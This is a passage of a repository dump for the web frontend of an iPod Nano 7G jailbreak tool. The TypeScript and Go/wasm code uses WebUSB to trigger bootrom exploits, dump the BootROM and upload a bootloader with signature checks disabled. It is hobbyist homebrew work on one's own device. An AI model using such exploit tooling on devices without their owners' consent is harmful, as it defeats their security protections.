file...</button>\n                Saved!\n            `,\n            error: (e) => html`\n                <button @click=${this.saveBootROM}>Save to file...</button>\n                Error: <code>${e}</code>\n            `,\n        });\n        let dump = this._dumpTask.render({\n            complete: () => html`\n                <p>\n                    BootROM dump complete! ${save}\n                </p>\n                <nz-hex-dump .data=${this._bootrom} .offset=${BigInt(\"0x20000000\")} />\n            `,\n            error: (e) => html`\n                <p class=\"attention\">\n                    BootROM dump failed: <code>${e}</code>.\n                </p>\n            `,\n        });\n        let wtf = this._wtfTask.render({\n            complete: () => html`\n                <p>\n                    Defanged WTF uploaded!\n                </p>\n            `,\n            error: (e) => html`\n                <p class=\"attention\">\n                    Defanged WTF upload failed:: <code>${e}</code>.\n                </p>\n            `,\n        });\n        let button = (nonePending && !this._disabled) ? html`\n            <p>\n                <button @click=${this.dumpBootROM}>Dump BootROM...</button>\n                <button @click=${this.sendDefangedWTF}>Send defanged WTF...</button>\n            </p>\n        ` : html``;\n        let progress = this._progress.steps.map((step) => {\n            return html`\n                <li>${step.description}: ${Math.floor(step.percentage * 100)}%</li>\n            `;\n        });\n        let progress_ = html`\n            <p>\n                <ul class=\"okay\">\n                    ${progress}\n                </ul>\n            </p>\n        `;\n        return html`\n            <p>\n                You can now select to either dump the device's BootROM (useful for developers) or continue booting a CFW by sending a Defanged WTF (a second stage bootloader with signature checks disabled).\n            </p>\n            ${progress.length > 0 ? progress_ : html``}\n            ${wtf}\n            ${dump}\n            ${button}\n        `;\n    }\n\n    saveBootROM() {\n        this._saveTask.run();\n    }\n\n    dumpBootROM() {\n        this._bootrom = [];\n        this._dumpTask.run();\n    }\n\n    sendDefangedWTF() {\n        this._bootrom = [];\n        this._wtfTask.run();\n    }\n}\n\n@customElement(\"nz-main\")\nexport class Main extends LitElement {\n    @property()\n    usb: USB | null = null;\n\n    static styles = [commonStyles];\n\n    private _loadTask = new Task(this, {\n        task: async ([], {signal}) => {\n            if (go === null) {\n                const edk2 = await loadEdk2();\n                go = await loadGo();\n                await go.setup(edk2);\n            }\n        },\n        args: () => [],\n    });\n\n    private async _connect(): Promise<Connected> {\n        if (this.usb === null) {\n            throw new RunError(\"no WebUSB support - how did you get here?\");\n        }\n        if (go === null) {\n            throw new RunError(\"go/wasm not loaded\");\n        }\n        let usb = this.usb;\n        let device = await usb.requestDevice({\n            filters: [\n                // Request everything by Apple...\n                {vendorId: 0x05ac},\n            ]\n        });\n        let app = await go.newApp(device);\n        const di = await app.GetDeviceDescription();\n\n        let manufacturer = \"unknown\";\n        if (di.interfaceKind != InterfaceKind.Disk) {\n            await app.PrepareUSB();\n            manufacturer = (await app.GetStringDescriptors()).manufacturer\n        }\n        return {app, di, manufacturer};\n    }\n\n    private _wtfTask = new Task(this, {\n        task: async ([], {signal}): Promise<Connected> => {\n            return await this._connect();\n        },\n        autoRun: false,\n        args: () => [],\n    });\n\n    private _dfuTask = new Task(this, {\n        task: async ([], {signal}): Promise<Connected> => {\n            return await this._connect();\n        },\n        autoRun: false,\n        args: () => [],\n    });\n\n    private runDFU() {\n        this._dfuTask.run();\n    }\n\n    private runWTF() {\n        this._wtfTask.run();\n    }\n\n    @state()\n    private _inWTF: boolean = false;\n\n    private switchedToWTF() {\n        this._inWTF = true;\n    }\n\n    private startedCFW() {\n    }\n\n\n    @state()\n    private _hideInstructions: boolean = false;\n\n    render() {\n        let dfu = this._dfuTask.render({\n            initial: () => html`\n                <p>\n                    <button @click=${this.runDFU}>Run!</button>\n                </p>\n            `,\n            pending: () => html`\n                <p>\n                    Waiting for device...\n                </p>\n            `,\n            complete: (c: Connected) => {\n                if (c.di.interfaceKind === InterfaceKind.DFU) {\n                    if ([DeviceKind.Nano7, DeviceKind.Nano7Late].includes(c.di.kind)) {\n                        this._hideInstructions = true;\n                        return html`\n                            <p>\n                                Connected to ${c.di.kind} over ${c.di.interfaceKind}. <b>All good!</b>\n                            </p>\n                            <nz-dfu-device\n                                .connected=${c}\n                                @switched-to-wtf=${this.switchedToWTF}\n                            />\n                        `;\n                    } else {\n                        return html`\n                            <p class=\"attention\">\n                                Connected to ${c.di.kind} over ${c.di.interfaceKind}. <b>That's not an iPod Nano 7G!</b>\n                            </p>\n                            <p>\n                                <button @click=${this.runDFU}>Try again!</button>\n                            </p>\n                        `;\n                    }\n                } else {\n                    return html`\n                        <p class=\"attention\">\n                            Connected to ${c.di.kind} over ${c.di.interfaceKind}. <b>That's not DFU mode!</b> Please follow the instructions above and try again.\n                        </p>\n                        <p>\n                            <button @click=${this.runDFU}>Try again!</button>\n                        </p>\n                    `;\n                }\n            },\n            error: (e) => html`\n                <p class=\"attention\">\n                    Could not connect to device: <code>${e}</code>\n                </p>\n                <p>\n                    <button @click=${this.runDFU}>Try again...</button>\n                </p>\n            `,\n        });\n        let wtf = this._wtfTask.render({\n            initial: () => html`\n                <p>\n                    The device should have switched to defanged WTF mode now. You will need to reconnect to it:\n                </p>\n                <p>\n                    <button @click=${this.runWTF}>Connect!</button>\n                </p>\n            `,\n            pending: () => html`\n                <p>\n                    Waiting for device...\n                </p>\n            `,\n            complete: (c: Connected) => {\n                if (c.di.interfaceKind === InterfaceKind.WTF && c.manufacturer === \"freemyipod\") {\n                    if ([DeviceKind.Nano7, DeviceKind.Nano7Late].includes(c.di.kind)) {\n                        this._hideInstructions = true;\n                        return html`\n                            <p>\n                                Connected to ${c.di.kind} over ${c.di.interfaceKind} with manufacturer ${c.manufacturer}. <b>All good!</b>\n                            </p>\n                            <nz-wtf-device\n                                .connected=${c}\n                                @started-cfw=${this.startedCFW}\n                            />\n                        `;\n                    } else {\n                        return html`\n                            <p class=\"attention\">\n                                Connected to ${c.di.kind} over ${c.di.interfaceKind} with manufacturer ${c.manufacturer}. <b>That's not an iPod Nano 7G! What are you even doing..?</b>\n                            </p>\n                            <p>\n                                <button @click=${this.runWTF}>Try again in WTF mode...</button>\n                                <button @click=${this.runDFU}>... or from scratch in DFU mode.</button>\n                            </p>\n                        `;\n                    }\n                } else {\n                    return html`\n                        <p class=\"attention\">\n                            Connected to ${c.di.kind} over ${c.di.interfaceKind} with manufacturer ${c.manufacturer}. <b>That's not defanged WTF mode!</b> Something went wrong. Try again from scratch after restarting your device into DFU mode.\n                        </p>\n                        <p>\n                            <button @click=${this.runDFU}>Try again!</button>\n                        </p>\n                    `;\n                }\n            },\n            error: (e) => html`\n                <p class=\"attention\">\n                    Could not connect to device: <code>${e}</code>\n                </p>\n                <p>\n                    <button @click=${this.runWTF}>Try again in WTF mode...</button>\n                    <button @click=${this.runDFU}>... or from scratch in DFU mode.</button>\n                </p>\n            `,\n        });\n        return this._loadTask.render({\n            initial: () => html`\n                <p>dingus</p>\n            `,\n            pending: () => html`\n                <h1>Loading wInd3x and edk2...</h1>\n                <p>\n                    This might take a while (~10MiB to download!).\n                </p>\n            `,\n            error: (e) => html`\n                <h1>Loading wInd3x and edk2...</h1>\n                <p>\n                    Load error: ${e}\n                </p>\n            `,\n            complete: () => {\n                let instructions = html`\n                    <p>\n                        <b>Please read these instructions carefully!</b>\n                    </p>\n                    <ol>\n                        <li>Connect your iPod Nano 7G to this computer. <b>No other generation is currently supported!</b></li>\n                        <li>Press the button below - but read the rest of the instructions first!</li>\n                        <li>A list of compatible devices will appear. It should contain an Apple iPod in disk/retail mode (“<code>iPod</code>”).</li>\n                        <li>Switch the iPod into DFU mode by holding the home and power buttons. The iPod will reboot once (showing the Apple logo), then again (showing a black screen). Release the buttons when you see a device in DFU mode (“<code>USB DFU Device</code>”) appear on the list.</li>\n                        <li>Select the DFU device from the list and allow access to it.</li>\n                    </ol>\n                    <p>\n                        <i>Note:</i> Some USB-C to Lightning cables have been observed to not work with DFU mode, with the device not showing up over USB and immediately rebooting. If you're having issues, try a USB A to Lightning cable.\n                    </p>\n                `;\n                return html`\n                    <h1>Let's go!</h1>\n                    ${this._hideInstructions ? html`` : instructions}\n                    ${dfu}\n                    ${this._inWTF ? wtf : html``}\n                `;\n            },\n        });\n    }\n}\n\n@customElement(\"nz-root\")\nexport class Root extends LitElement {\n    static styles = [commonStyles, css`\n        div.root {\n            max-width: 40em;\n            margin-left: auto;\n            margin-right: auto;\n        }\n        div.footer {\n            margin-top: 2em;\n            font-size: 90%;\n            font-style: italic;\n            background-color: #f8f8f8;\n            padding: 0.5em 2em 0.5em 2em;\n        }\n    `];\n\n    @state()\n    private _show_disclaimer: boolean = true;\n\n    private _usb: USB | null = null;\n\n    render() {\n        let inner = this._show_disclaimer\n            ? html`<nz-disclaimer @accepted=\"${(e: CustomEvent) => { this._usb = e.detail.usb; this._show_disclaimer = false; }}\" />`\n            : html`<nz-main .usb=${this._usb} />`;\n        return html`\n            <div class=\"root\">\n                ${inner}\n                <div class=\"footer\">\n                    nugget.zone and wInd3x are Free Software. <a href=\"https://github.com/freemyipod/wInd3x\">Source code.</a>\n                </div>\n            </div>\n        `;\n    }\n}"
  },
  {
    "path": "web/src/edk2.ts",
    "content": "export interface Compression {\n    compress(data: Uint8Array): Uint8Array;\n    decompress(data: Uint8Array): Uint8Array;\n}\n\ninterface Exports {\n    malloc(size: number): number;\n    free(size: number): number;\n    TianoCompress(in_ptr: number, in_size: number, out_ptr: number, out_size: number): bigint;\n    TianoDecompress(in_ptr: number, in_size: number, out_ptr: number, out_size: number, scratch_ptr: number, scratch_size: number): bigint;\n    memory: WebAssembly.Memory;\n}\n\nexport async function load(): Promise<Compression> {\n    const moduleMemory = new WebAssembly.Memory({initial: 512, maximum: 4096, shared: true})\n    const importedObject = {\n        env: {\n            __memory_base: 0,\n            memory: moduleMemory,\n            emscripten_notify_memory_growth: function(index: any) {\n                // Do we need to do anything here?\n                console.log(\"emscripten_notify_memory_growth\", index);\n            },\n        },\n    }\n    const obj = await WebAssembly.instantiateStreaming(fetch(\"edk2.wasm\"), importedObject);\n    const wasm = obj.instance;\n    const { malloc, free, TianoCompress, TianoDecompress, memory } = wasm.exports as any as Exports;\n    return {\n        compress: (input: Uint8Array) => {\n            if (input.length == 0) {\n                throw Error(\"cannot compress empty file\");\n            }\n            const in_ptr = malloc(input.length);\n            const in_buf = new Uint8Array(memory.buffer, in_ptr, input.length);\n            in_buf.set(input);\n\n            const out_ptr = malloc(input.length);\n            const out_size_ptr = malloc(4);\n            let out_size_buf = new Uint32Array(memory.buffer, out_size_ptr, 1);\n            out_size_buf[0] = input.length;\n\n            let res = TianoCompress(in_ptr, input.length, out_ptr, out_size_ptr);\n            if (res != BigInt(0)) {\n                throw new Error(\"TianoCompress returned non-zero result\" + res.toString());\n            }\n\n            out_size_buf = new Uint32Array(memory.buffer, out_size_ptr, 1);\n            let out_buf = new Uint8Array(memory.buffer, out_ptr, out_size_buf[0]);\n\n            free(in_ptr);\n            free(out_ptr);\n            return out_buf;\n        },\n        decompress: (input: Uint8Array) => {\n            const in_ptr = malloc(input.length);\n            const in_buf = new Uint8Array(memory.buffer, in_ptr, input.length);\n            in_buf.set(input);\n\n            const out_len = (new Uint32Array(input))[4];\n            const out_ptr = malloc(out_len);\n\n            const scratch_len = 13393;\n            const scratch_ptr = malloc(scratch_len);\n\n            let res = TianoDecompress(in_ptr, input.length, out_ptr, out_len, scratch_ptr, scratch_len);\n            if (res != BigInt(0)) {\n                throw new Error(\"TianoDecompress returned non-zero result \" + res.toString());\n            }\n\n            let out_buf = new Uint8Array(memory.buffer, out_ptr, out_len);\n            free(in_ptr);\n            free(out_ptr);\n            free(scratch_ptr);\n            return out_buf\n        },\n    }\n}"
  },
  {
    "path": "web/src/go.ts",
    "content": "import { Compression } from \"./edk2.js\";\n\n// Kep in sync with pkg/cache/cache.go PayloadKind\nexport enum PayloadKind {\n\tWTFUpstream       = \"wtf-upstream\",\n\tWTFDecrypted      = \"wtf-decrypted\",\n\tWTFDecryptedCache = \"wtf-decrypted-cache\",\n\tWTFDefanged       = \"wtf-defanged\",\n\n\tRecoveryUpstream = \"recovery-upstream\",\n\n\tFirmwareUpstream = \"firmware-upstream\",\n\n\tBootloaderUpstream       = \"bootloader-upstream\",\n\tBootloaderDecrypted      = \"bootloader-decrypted\",\n\tBootloaderDecryptedCache = \"bootloader-decrypted-cache\",\n\n\tRetailOSUpstream = \"retailos-upstream\",\n\tRetailOSDecrypted = \"retailos-decrypted\",\n\tRetailOSCustomized = \"retailos-customized\",\n\n\tDiagsUpstream       = \"diags-upstream\",\n\tDiagsDecrypted      = \"diags-decrypted\",\n\tDiagsDecryptedCache = \"diags-decrypted-cache\",\n\n\tJingleXML = \"jinglexml\",\n}\n\n// Keep in sync with pkgs/devices/devices.go Kind\nexport enum DeviceKind {\n    Nano3 = \"n3g\",\n    Nano4 = \"n4g\",\n    Nano5 = \"n5g\",\n    Nano6 = \"n6g\",\n    Nano7 = \"n7g\",\n    Nano7Late = \"n7g-late\",\n}\n\n// keep in sync with pkg/devices/devices.go InterfaceKind\nexport enum InterfaceKind {\n    DFU = \"dfu\",\n    WTF = \"wtf\",\n    Disk = \"diskmode\",\n}\n\nexport interface DeviceDescription {\n    vid: number,\n    pid: number,\n    updaterFamilyID: number,\n    kind: DeviceKind,\n    interfaceKind: InterfaceKind,\n}\n\ninterface StringDescriptors {\n    manufacturer: string,\n    product: string,\n}\n\nexport interface App {\n    GetStringDescriptors(): Promise<StringDescriptors>;\n    GetDeviceDescription(): Promise<DeviceDescription>;\n    PrepareUSB(): Promise<null>;\n    HaxDFU(): Promise<null>;\n    DumpMem(offset: BigInt): Promise<Uint8Array>;\n    PreparePayload(kind: PayloadKind, progress?: (done: number) => void): Promise<null>;\n    SendPayload(kind: PayloadKind, progress?: (done: number) => void): Promise<null>;\n}\n\nexport interface Exports {\n    newApp(usb: USBDevice): Promise<App>;\n    setup(compression: Compression): Promise<null>;\n}\n\ndeclare class Go {\n    argv: string[];\n    env: { [envKey: string]: string };\n    exit: (code: number) => void;\n    importObject: WebAssembly.Imports;\n    exited: boolean;\n    mem: DataView;\n    run(instance: WebAssembly.Instance): Promise<void>;\n}\n\nconst go = new Go();\n\nexport async function load(): Promise<Exports> {\n    const obj = await WebAssembly.instantiateStreaming(fetch(\"wiwali.wasm\"), go.importObject);\n    const wasm = obj.instance;\n    go.run(wasm);\n\n    const exports = (window as any as {wiwali: Exports}).wiwali;\n    return exports;\n}"
  },
  {
    "path": "web/tsconfig.json",
    "content": "{\n    \"compilerOptions\": {\n        \"noEmit\": true,\n        \"lib\": [\"es2020\", \"dom\"],\n        \"strict\": true,\n        \"experimentalDecorators\": true,\n        \"useDefineForClassFields\": false,\n    }\n}\n"
  },
  {
    "path": "web/wiwali/README.md",
    "content": "wiwali\n======\n\nThe wInd3x Wasm Library (or `wiwali` for short).\n\nThis internal API is exposed to Typescript (see go.ts). It's not stable, so you shouldn't depend on it.\n"
  },
  {
    "path": "web/wiwali/main.go",
    "content": "// wiwali is a non-WASI (web-compatible) wasm 'binary' that sends window.wiwali\n// when loaded. This object carries all references to runtime object that Wiwali\n// needs. Garbage collection is currently unimplemented.\n//\n// See web/go.ts for actual bindings.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"syscall/js\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipod/wInd3x/pkg/cache\"\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/efi/compression\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit/dumpmem\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit/haxeddfu\"\n)\n\n// async wraps a Go function into a ES/TS function that returns a Promise.\nfunc async(f func(this js.Value, args []js.Value) (js.Value, error)) js.Func {\n\treturn js.FuncOf(func(this js.Value, args []js.Value) any {\n\t\treturn js.Global().Get(\"Promise\").New(js.FuncOf(func(_ js.Value, pargs []js.Value) any {\n\t\t\tresolve := pargs[0]\n\t\t\treject := pargs[1]\n\t\t\tgo func() {\n\t\t\t\tv, err := f(this, args)\n\t\t\t\tif err != nil {\n\t\t\t\t\treject.Invoke(js.Global().Get(\"Error\").New(err.Error()))\n\t\t\t\t} else {\n\t\t\t\t\tresolve.Invoke(v)\n\t\t\t\t}\n\t\t\t}()\n\t\t\treturn js.Null()\n\t\t}))\n\t})\n}\n\n// await calls a ES/TS async function and blocks until it resolves or fails.\nfunc await(v js.Value) (js.Value, error) {\n\tokC := make(chan js.Value)\n\terrC := make(chan error)\n\tv.Call(\"then\", js.FuncOf(func(this js.Value, args []js.Value) any {\n\t\tokC <- args[0]\n\t\treturn nil\n\t})).Call(\"catch\", js.FuncOf(func(this js.Value, args []js.Value) any {\n\t\terrC <- fmt.Errorf(args[0].Get(\"message\").String())\n\t\treturn nil\n\t}))\n\n\tselect {\n\tcase ok := <-okC:\n\t\treturn ok, nil\n\tcase err := <-errC:\n\t\treturn js.ValueOf(nil), err\n\t}\n}\n\n// findDeviceAndKind looks for a matching device given a vid and pid.\nfunc findDeviceAndKind(vid, pid int16) (*devices.Description, devices.InterfaceKind) {\n\tfor _, desc := range devices.Descriptions {\n\t\tif desc.VID != vid {\n\t\t\tcontinue\n\t\t}\n\t\tfor kind, dpid := range desc.PIDs {\n\t\t\tif dpid == pid {\n\t\t\t\treturn &desc, kind\n\t\t\t}\n\t\t}\n\t}\n\treturn nil, \"\"\n}\n\nfunc toUint8Array(b []byte) js.Value {\n\tarr := make([]any, len(b))\n\tfor i, v := range b {\n\t\tarr[i] = v\n\t}\n\treturn js.Global().Get(\"Uint8Array\").New(arr)\n}\n\nfunc fromUint8Array(v js.Value) ([]byte, error) {\n\tl := v.Length()\n\tres := make([]byte, l)\n\tl2 := js.CopyBytesToGo(res, v)\n\tif l2 != l {\n\t\treturn nil, fmt.Errorf(\"copied %d bytes, wanted %d\", l2, l)\n\t}\n\treturn res, nil\n}\n\n// newApp builds a one-shot (ie. one-vid/pid) wInd3x representation of the device.\nfunc newApp(this js.Value, args []js.Value) (js.Value, error) {\n\tif len(args) != 1 {\n\t\treturn js.Null(), fmt.Errorf(\"newApp must be called with exactly one argument\")\n\t}\n\n\tusbDevice := args[0]\n\tvid := int16(usbDevice.Get(\"vendorId\").Int())\n\tpid := int16(usbDevice.Get(\"productId\").Int())\n\tdev, kind := findDeviceAndKind(vid, pid)\n\tif dev == nil {\n\t\treturn js.Null(), fmt.Errorf(\"unknown kind of device\")\n\t}\n\n\ta := app.App{\n\t\tUsb: &usb{\n\t\t\tusbDevice: usbDevice,\n\t\t},\n\t\tInterfaceKind: kind,\n\t\tDesc:          dev,\n\t\tEp:            exploit.ParametersForKind[dev.Kind],\n\t}\n\treturn js.ValueOf(map[string]any{\n\t\t\"GetStringDescriptors\": async(func(this js.Value, args []js.Value) (js.Value, error) {\n\t\t\t// HACK, we should be doing this better (by using device descriptor\n\t\t\t// indices into strings descriptors).\n\t\t\tvar descs []string\n\t\t\tfor i := 0; i < 3; i++ {\n\t\t\t\tdesc, err := a.Usb.GetStringDescriptor(i)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn js.Null(), fmt.Errorf(\"getting descriptor %d: %w\", i, err)\n\t\t\t\t}\n\t\t\t\tdescs = append(descs, desc)\n\t\t\t}\n\t\t\treturn js.ValueOf(map[string]any{\n\t\t\t\t\"manufacturer\": descs[1],\n\t\t\t\t\"product\":      descs[2],\n\t\t\t}), nil\n\t\t}),\n\t\t\"GetDeviceDescription\": async(func(this js.Value, args []js.Value) (js.Value, error) {\n\t\t\treturn js.ValueOf(map[string]any{\n\t\t\t\t\"vid\":             vid,\n\t\t\t\t\"pid\":             pid,\n\t\t\t\t\"updaterFamilyID\": dev.UpdaterFamilyID,\n\t\t\t\t\"kind\":            string(dev.Kind),\n\t\t\t\t\"interfaceKind\":   string(kind),\n\t\t\t}), nil\n\t\t}),\n\t\t\"PrepareUSB\": async(func(this js.Value, args []js.Value) (js.Value, error) {\n\t\t\terr := a.PrepareUSB()\n\t\t\treturn js.Null(), err\n\t\t}),\n\t\t\"DumpMem\": async(func(this js.Value, args []js.Value) (js.Value, error) {\n\t\t\tif len(args) != 1 {\n\t\t\t\treturn js.Null(), fmt.Errorf(\"must be called with exactly one argument\")\n\t\t\t}\n\t\t\taddrStr := js.Global().Get(\"BigInt\").Get(\"prototype\").Get(\"toString\").Call(\"call\", args[0]).String()\n\t\t\taddr, err := strconv.ParseUint(addrStr, 10, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn js.Null(), fmt.Errorf(\"given number is not a valid 32-bit BigInt\")\n\t\t\t}\n\t\t\tblock, err := dumpmem.Trigger(a.Usb, a.Ep, uint32(addr))\n\t\t\tif err != nil {\n\t\t\t\treturn js.Null(), err\n\t\t\t}\n\t\t\treturn toUint8Array(block), nil\n\t\t}),\n\t\t\"HaxDFU\": async(func(this js.Value, args []js.Value) (js.Value, error) {\n\t\t\terr := haxeddfu.Trigger(a.Usb, a.Ep, false)\n\t\t\treturn js.Null(), err\n\t\t}),\n\t\t\"PreparePayload\": async(func(this js.Value, args []js.Value) (js.Value, error) {\n\t\t\tkind := cache.PayloadKind(args[0].String())\n\t\t\tvar getOpts []cache.GetOption\n\t\t\tif len(args) > 1 {\n\t\t\t\tprogress := args[1]\n\t\t\t\tgetOpts = append(getOpts, cache.GetOption{\n\t\t\t\t\tProgress: func(f float32) {\n\t\t\t\t\t\tprogress.Invoke(js.ValueOf(f))\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t}\n\n\t\t\tslog.Info(\"Getting payload...\")\n\t\t\t_, err := cache.Get(&a, kind, getOpts...)\n\t\t\tif err != nil {\n\t\t\t\treturn js.Null(), fmt.Errorf(\"getting payload %q failed: %w\", kind, err)\n\t\t\t}\n\t\t\treturn js.Null(), nil\n\t\t}),\n\t\t\"SendPayload\": async(func(this js.Value, args []js.Value) (js.Value, error) {\n\t\t\tkind := cache.PayloadKind(args[0].String())\n\t\t\tvar sendOpts []dfu.SendOption\n\t\t\tif len(args) > 1 {\n\t\t\t\tprogress := args[1]\n\t\t\t\tsendOpts = append(sendOpts, dfu.SendOption{\n\t\t\t\t\tProgress: func(f float32) {\n\t\t\t\t\t\tprogress.Invoke(js.ValueOf(f))\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t}\n\n\t\t\tslog.Info(\"Getting payload...\")\n\t\t\tpl, err := cache.Get(&a, kind)\n\t\t\tif err != nil {\n\t\t\t\treturn js.Null(), fmt.Errorf(\"getting payload %q failed: %w\", kind, err)\n\t\t\t}\n\t\t\tslog.Info(\"Sending payload...\")\n\t\t\tif err := dfu.SendImage(a.Usb, pl, a.Desc.Kind.DFUVersion(), sendOpts...); err != nil {\n\t\t\t\treturn js.Null(), fmt.Errorf(\"failed to send image: %w\", err)\n\t\t\t}\n\t\t\treturn js.Null(), nil\n\t\t}),\n\t}), nil\n}\n\n// setup convinces the rest of the wInd3x codebase to work by poking a bunch of\n// global variables.\nfunc setup(this js.Value, args []js.Value) (js.Value, error) {\n\tcompress := args[0].Get(\"compress\")\n\tdecompress := args[0].Get(\"decompress\")\n\tcompression.Compression.CompressFn = func(in []byte) ([]byte, error) {\n\t\treturn fromUint8Array(compress.Invoke(toUint8Array(in)))\n\t}\n\tcompression.Compression.DecompressFn = func(in []byte) ([]byte, error) {\n\t\treturn fromUint8Array(decompress.Invoke(toUint8Array(in)))\n\t}\n\n\tstore, err := newIndexedDBFS()\n\tif err != nil {\n\t\treturn js.Null(), fmt.Errorf(\"setting up indexeddb: %w\", err)\n\t}\n\tcache.Store = store\n\tcache.ReverseProxy = &url.URL{\n\t\tScheme: \"https\",\n\t\tHost:   \"nugget.zone\",\n\t}\n\n\treturn js.Null(), nil\n}\n\nfunc main() {\n\tjs.Global().Set(\"wiwali\", js.ValueOf(map[string]any{\n\t\t\"newApp\": async(newApp),\n\t\t\"setup\":  async(setup),\n\t}))\n\tslog.Info(\"wiwali loaded.\")\n\tselect {}\n}\n"
  },
  {
    "path": "web/wiwali/store.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"syscall/js\"\n)\n\n// indexedDBFS is an implementation of pkg/cache.FS that's backed in IndexedDB.\n//\n// IndexedDB is a very oldschool API (Events!), so it's a bit of a pain to use,\n// and thus this code kinda sucks. Sorry.\ntype indexedDBFS struct {\n\tdb js.Value\n}\n\nfunc newIndexedDBFS() (*indexedDBFS, error) {\n\tdbC := make(chan js.Value, 1)\n\terrC := make(chan error, 1)\n\n\treq := js.Global().Get(\"indexedDB\").Call(\"open\", \"cache\", 3)\n\treq.Set(\"onerror\", js.FuncOf(func(this js.Value, args []js.Value) any {\n\t\terrC <- fmt.Errorf(\"could not open indexedDB\")\n\t\treturn js.Null()\n\t}))\n\treq.Set(\"onsuccess\", js.FuncOf(func(this js.Value, args []js.Value) any {\n\t\tdb := args[0].Get(\"target\").Get(\"result\")\n\t\tdbC <- db\n\t\treturn js.Null()\n\t}))\n\treq.Set(\"onupgradeneeded\", js.FuncOf(func(this js.Value, args []js.Value) any {\n\t\tslog.Info(\"Upgrading IndexedDB...\")\n\t\tdb := args[0].Get(\"target\").Get(\"result\")\n\t\tdb.Call(\"createObjectStore\", \"files\", map[string]any{\n\t\t\t\"keyPath\": \"path\",\n\t\t})\n\t\treturn js.Null()\n\t}))\n\tselect {\n\tcase err := <-errC:\n\t\tslog.Error(\"IndexedDB for cache could not be initialized.\", \"err\", err)\n\t\treturn nil, err\n\tcase db := <-dbC:\n\t\tslog.Info(\"IndexedDB for cache ready.\")\n\t\treturn &indexedDBFS{\n\t\t\tdb: db,\n\t\t}, nil\n\t}\n}\n\nfunc (l *indexedDBFS) ReadFile(p string) ([]byte, error) {\n\tslog.Info(\"ReadFile\", \"path\", p)\n\tobjStore := l.db.Call(\"transaction\", \"files\", \"readonly\").Call(\"objectStore\", \"files\")\n\tokC := make(chan []byte, 1)\n\terrC := make(chan error, 1)\n\n\treq := objStore.Call(\"get\", p)\n\treq.Set(\"onsuccess\", js.FuncOf(func(this js.Value, args []js.Value) any {\n\t\tslog.Info(\"ReadFile success\", \"path\", p)\n\t\tresult := req.Get(\"result\")\n\t\tdata_ := result.Get(\"data\")\n\t\tbuffer := data_.Get(\"buffer\")\n\t\tarray := js.Global().Get(\"Uint8Array\").New(buffer)\n\t\tdata, err := fromUint8Array(array)\n\t\tslog.Info(\"ReadFile decoded\", \"path\", p)\n\t\tif err != nil {\n\t\t\terrC <- err\n\t\t} else {\n\t\t\tokC <- data\n\t\t}\n\t\treturn js.Null()\n\t}))\n\treq.Set(\"onerror\", js.FuncOf(func(this js.Value, args []js.Value) any {\n\t\tslog.Info(\"ReadFile error\", \"path\", p)\n\t\terrC <- fmt.Errorf(\"failed to store\")\n\t\treturn js.Null()\n\t}))\n\n\tslog.Info(\"ReadFile wait on select...\", \"path\", p)\n\tselect {\n\tcase err := <-errC:\n\t\tslog.Info(\"ReadFile unblocked on error\", \"path\", p)\n\t\treturn nil, err\n\tcase data := <-okC:\n\t\tslog.Info(\"ReadFile unblocked on success\", \"path\", p)\n\t\treturn data, nil\n\t}\n}\n\nfunc (l *indexedDBFS) WriteFile(p string, data []byte) error {\n\tslog.Info(\"WriteFile\", \"path\", p)\n\tobjStore := l.db.Call(\"transaction\", \"files\", \"readwrite\").Call(\"objectStore\", \"files\")\n\treq := objStore.Call(\"put\", map[string]any{\n\t\t\"path\": p,\n\t\t\"data\": toUint8Array(data),\n\t})\n\n\tokC := make(chan struct{}, 1)\n\terrC := make(chan error, 1)\n\treq.Set(\"onsuccess\", js.FuncOf(func(this js.Value, args []js.Value) any {\n\t\tslog.Info(\"success\", \"path\", p)\n\t\tokC <- struct{}{}\n\t\treturn js.Null()\n\t}))\n\treq.Set(\"onerror\", js.FuncOf(func(this js.Value, args []js.Value) any {\n\t\tslog.Info(\"error\", \"path\", p)\n\t\terrC <- fmt.Errorf(\"failed to store\")\n\t\treturn js.Null()\n\t}))\n\tselect {\n\tcase err := <-errC:\n\t\treturn err\n\tcase _ = <-okC:\n\t\treturn nil\n\t}\n}\n\nfunc (l *indexedDBFS) Remove(p string) error {\n\treturn fmt.Errorf(\"Remove unimplemented\")\n}\n\nfunc (l *indexedDBFS) Exists(p string) (bool, error) {\n\tslog.Info(\"Exists\", \"path\", p)\n\tobjStore := l.db.Call(\"transaction\", \"files\", \"readonly\").Call(\"objectStore\", \"files\")\n\treq := objStore.Call(\"get\", p)\n\tokC := make(chan []byte, 1)\n\terrC := make(chan error, 1)\n\treq.Set(\"onsuccess\", js.FuncOf(func(this js.Value, args []js.Value) any {\n\t\tslog.Info(\"Exists success\", \"path\", p)\n\t\tresult := req.Get(\"result\")\n\t\tif result.IsUndefined() {\n\t\t\terrC <- fmt.Errorf(\"no file\")\n\t\t\treturn js.Null()\n\t\t}\n\t\tdata_ := result.Get(\"data\")\n\t\tbuffer := data_.Get(\"buffer\")\n\t\tarray := js.Global().Get(\"Uint8Array\").New(buffer)\n\t\tdata, err := fromUint8Array(array)\n\t\tif err != nil {\n\t\t\terrC <- err\n\t\t} else {\n\t\t\tokC <- data\n\t\t}\n\t\treturn js.Null()\n\t}))\n\treq.Set(\"onerror\", js.FuncOf(func(this js.Value, args []js.Value) any {\n\t\tslog.Info(\"Exists error\", \"path\", p)\n\t\tslog.Info(\"error\", \"path\", p)\n\t\terrC <- fmt.Errorf(\"failed to store\")\n\t\treturn js.Null()\n\t}))\n\tselect {\n\tcase <-errC:\n\t\tslog.Info(\"Exists unblocked on error\", \"path\", p)\n\t\treturn false, nil\n\tcase <-okC:\n\t\tslog.Info(\"Exists unblocked on success\", \"path\", p)\n\t\treturn true, nil\n\t}\n}\n"
  },
  {
